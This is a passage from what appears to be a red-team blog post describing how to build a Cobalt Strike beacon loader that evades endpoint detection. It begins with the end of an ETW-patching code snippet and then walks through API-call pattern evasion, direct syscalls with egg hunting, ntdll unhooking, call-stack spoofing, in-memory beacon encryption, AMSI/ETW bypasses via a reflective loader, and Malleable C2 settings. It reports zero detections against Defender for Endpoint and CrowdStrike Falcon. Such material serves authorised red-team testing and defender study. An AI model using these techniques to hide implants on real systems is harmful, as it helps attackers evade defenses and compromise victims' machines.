    memcpy(pEventWrite, patch, size / sizeof(patch&#91;0]));
   
    NtProtectVirtualMemory(hCurrentProc, &amp;pEventWrite, (PSIZE_T) &amp;size, oldprotect, &amp;oldprotect);
    FlushInstructionCache(hCurrentProc, pEventWrite, size);
   
}

I’ve found the above method to still work on the two tested EDRs, but this is a noisy ETW patch.

6. Evading common malicious API call patterns

Most behavioural detection is ultimately based on detecting malicious patterns. One of these patters is the order of specific WINAPI calls in a short timeframe. The suspicious WINAPI calls briefly mentioned in section 4 are typically used to execute shellcode and therefore heavily monitored. However, these calls are also used for benign activity (the 

VirtualAlloc
WriteProcess
CreateThread
 pattern in combination with a memory allocation and write of ~250KB of shellcode) and so the challenge for EDR solutions is to distinguish benign from malicious calls. Filip Olszak wrote a great blog post leveraging delays and smaller chunks of allocating and writing memory to blend in with benign WINAPI call behaviour. In short, his method adjusts the following behaviour of a typical shellcode loader:

  1. Instead of allocating one large chuck of memory and directly write the ~250KB implant shellcode into that memory, allocate small contiguous chunks of e.g. <64KB memory and mark them as 
    NO_ACCESS
    . Then write the shellcode in a similar chunk size to the allocated memory pages.
  2. Introduce delays between every of the above mentioned operations. This will increase the time required to execute the shellcode, but will also make the consecutive execution pattern stand out much less.

One catch with this technique is to make sure you find a memory location that can fit your entire shellcode in consecutive memory pages. Filip’s DripLoader implements this concept.

The loader I’ve built does not inject the shellcode into another process but instead starts the shellcode in a thread in its own process space using 

NtCreateThread
. An unknown process (our binary will de facto have low prevalence) into other processes (typically a Windows native ones) is suspicious activity that stands out (recommended read “Fork&Run – you’re history”). It is much easier to blend into the noise of benign thread executions and memory operations within a process when we run the shellcode within a thread in the loader’s process space. The downside however is that any crashing post-exploitation modules will also crash the process of the loader and therefore the implant. Persistence techniques as well as running stable and reliable BOFs can help to overcome this downside.

7. Direct system calls and evading “mark of the syscall”

The loader leverages direct system calls for bypassing any hooks put in 

ntdll.dll
 by the EDRs. I want to avoid going into too much detail on how direct syscalls work, since it’s not the purpose of this post and a lot of great posts have been written about it (e.g. Outflank).

In short, a direct syscall is a WINAPI call directly to the kernel system call equivalent. Instead of calling the 

ntdll.dll
 
VirtualAlloc
 we call its kernel equivalent 
NtAlocateVirtualMemory
 defined in the Windows kernel. This is great because we’re bypassing any EDR hooks used to monitor calls to (in this example) 
VirtualAlloc
 defined in 
ntdll.dll
.

In order to call a system call directly, we fetch the syscall ID of the system call we want to call from 

ntdll.dll
, use the function signature to push the correct order and types of function arguments to the stack, and call the 
syscall &lt;id&gt;
 instruction. There are several tools that arrange all this for us, SysWhispers2 and SysWhisper3 are two great examples. From an evasion perspective, there are two issues with calling direct system calls:

  1. Your binary ends up with having the 
    syscall
     instruction, which is easy to statically detect (a.k.a “mark of the syscall”, more in “SysWhispers is dead, long live SysWhispers!”).
  2. Unlike benign use of a system call that is called through its 
    ntdll.dll
     equivalent, the return address of the system call does not point to 
    ntdll.dll
    . Instead, it points to our code from where we called the syscall, which resides in memory regions outside of 
    ntdll.dll
    . This is an indicator of a system call that is not called through 
    ntdll.dll
    , which is suspicious.

To overcome these issues we can do the following:

  1. Implement an egg hunter mechanism. Replace the 
    syscall
     instruction with the 
    egg
     (some random unique identifiable pattern) and at runtime, search for this 
    egg
     in memory and replace it with the 
    syscall
     instruction using the 
    ReadProcessMemory
     and 
    WriteProcessMemory
     WINAPI calls. Thereafter, we can use direct system calls normally. This technique has been implemented by klezVirus.
  2. Instead of calling the 
    syscall
     instruction from our own code, we search for the 
    syscall
     instruction in 
    ntdll.dll
     and jump to that memory address once we’ve prepared the stack to call the system call. This will result in an return address in RIP that points to 
    ntdll.dll
     memory regions.

Both techniques are part of SysWhisper3.

8. Removing hooks in 
ntdll.dll

Another nice technique to evade EDR hooks in 

ntdll.dll
 is to overwrite the loaded 
ntdll.dll
 that is loaded by default (and hooked by the EDR) with a fresh copy from 
ntdll.dll
ntdll.dll
 is the first DLL that gets loaded by any Windows process. EDR solutions make sure their DLL is loaded shortly after, which puts all the hooks in place in the loaded 
ntdll.dll
 before our own code will execute. If our code loads a fresh copy of 
ntdll.dll
 in memory afterwards, those EDR hooks will be overwritten. RefleXXion is a C++ library that implements the research done for this technique by MDSec. RelfeXXion uses direct system calls 
NtOpenSection
 and 
NtMapViewOfSection
 to get a handle to a clean 
ntdll.dll
 in 
\KnownDlls\ntdll.dll
 (registry path with previously loaded DLLs). It then overwrites the 
.TEXT
 section of the loaded 
ntdll.dll
, which flushes out the EDR hooks.

I recommend to use adjust the RefleXXion library to use the same trick as described above in section 7.

9. Spoofing the thread call stack

The next two sections cover two techniques that provide evasions against detecting our shellcode in memory. Due to the beaconing behaviour of an implant, for a majority of the time the implant is sleeping, waiting for incoming tasks from its operator. During this time the implant is vulnerable for memory scanning techniques from the EDR. The first of the two evasions described in this post is spoofing the thread call stack.

When the implant is sleeping, its thread return address is pointing to our shellcode residing in memory. By examining the return addresses of threads in a suspicious process, our implant shellcode can be easily identified. In order to avoid this, want to break this connection between the return address and shellcode. We can do so by hooking the 

Sleep()
 function. When that hook is called (by the implant/beacon shellcode), we overwrite the return address with 
0x0
 and call the original 
Sleep()
 function. When 
Sleep()
 returns, we put the original return address back in place so the thread returns to the correct address to continue execution. Mariusz Banach has implemented this technique in his ThreadStackSpoofer project. This repo provides much more detail on the technique and also outlines some caveats.

We can observe the result of spoofing the thread call stack in the two screenshots below, where the non-spoofed call stack points to non-backed memory locations and a spoofed thread call stack points to our hooked Sleep (

MySleep
) function and “cuts off” the rest of the call stack.

Default beacon thread call stack.
Spoofed beacon thread call stack.

10. In-memory encryption of beacon

The other evasion for in-memory detection is to encrypt the implant’s executable memory regions while sleeping. Using the same sleep hook as described in the section above, we can obtain the shellcode memory segment by examining the caller address (the beacon code that calls 

Sleep()
 and therefore our 
MySleep()
 hook). If the caller memory region is 
MEM_PRIVATE
 and 
EXECUTABLE
 and roughly the size of our shellcode, then the memory segment is encrypted with a XOR function and 
Sleep()
 is called. Then 
Sleep()
 returns, it decrypts the memory segment and returns to it.

Another technique is to register a Vectored Exception Handler (VEH) that handles 

NO_ACCESS
 violation exceptions, decrypts the memory segments and changes the permissions to 
RX
. Then just before sleeping, mark the memory segments as 
NO_ACCESS
, so that when 
Sleep()
 returns, it throws a memory access violation exception. Because we registered a VEH, the exception is handled within that thread context and can be resumed at the exact same location the exception was thrown. The VEH can simply decrypt and change the permissions back to RX and the implant can continue execution. This technique prevents a detectible 
Sleep()
 hook being in place when the implant is sleeping.

Mariusz Banach has also implemented this technique in ShellcodeFluctuation.

11. A custom reflective loader

The beacon shellcode that we execute in this loader ultimately is a DLL that needs to be executed in memory. Many C2 frameworks leverage Stephen Fewer’s ReflectiveLoader. There are many well written explanations of how exactly a relfective DLL loader works, and Stephen Fewer’s code is also well documented, but in short a Reflective Loader does the following:

  1. Resolve addresses to necessary 
    kernel32.dll
     WINAPIs required for loading the DLL (e.g. 
    VirtualAlloc
    LoadLibraryA
     etc.)
  2. Write the DLL and its sections to memory
  3. Build up the DLL import table, so the DLL can call 
    ntdll.dll
     and 
    kernel32.dll
     WINAPIs
  4. Load any additional library’s and resolve their respective imported function addresses
  5. Call the DLL entrypoint

Cobalt Strike added support for a custom way for reflectively loading a DLL in memory that allows a red team operator to customize the way a beacon DLL gets loaded and add evasion techniques. Bobby Cooke and Santiago P built a stealthy loader (BokuLoader) using Cobalt Strike’s UDRL which I’ve used in my loader. BokuLoader implements several evasion techniques:

  • Limit calls to 
    GetProcAddress()
     (commonly EDR hooked WINAPI call to resolve a function address, as we do in section 4)
  • AMSI & ETW bypasses
  • Use only direct system calls
  • Use only 
    RW
     or 
    RX
    , and no 
    RWX
     (
    EXECUTE_READWRITE
    ) permissions
  • Removes beacon DLL headers from memory

Make sure to uncomment the two defines to leverage direct system calls via HellsGate & HalosGate and bypass ETW and AMSI (not really necessary, as we’ve already disabled ETW and are not injecting the loader into another process).

12. OpSec configurations in your Malleable profile

In your Malleable C2 profile, make sure the following options are configured, which limit the use of 

RWX
 marked memory (suspicious and easily detected) and clean up the shellcode after beacon has started.


    set startrwx        "false";
    set userwx          "false";
    set cleanup         "true";
    set stomppe         "true";
    set obfuscate       "true";
    set sleep_mask      "true";
    set smartinject     "true";

Conclusions

Combining these techniques allow you to bypass (among others) Microsoft Defender for Endpoint and CrowdStrike Falcon with 0 detections (tested mid April 2022), which together with SentinelOne lead the endpoint protection industry.

CrowdStrike Falcon with 0 alerts.
Windows Defender (and also Microsoft Defender for Endpoint, not screenshotted) with 0 alerts.

Of course this is just one and the first step in fully compromising an endpoint, and this doesn’t mean “game over” for the EDR solution. Depending on what post-exploitation activity/modules the red team operator choses next, it can still be “game over” for the implant. In general, either run BOFs, or tunnel post-ex tools through the implant’s SOCKS proxy feature. Also consider putting the EDR hooks patches back in place in our 

Sleep()
 hook to avoid detection of unhooking, as well as removing the ETW/AMSI patches.

It’s a cat and mouse game, and the cat is undoubtedly getting better.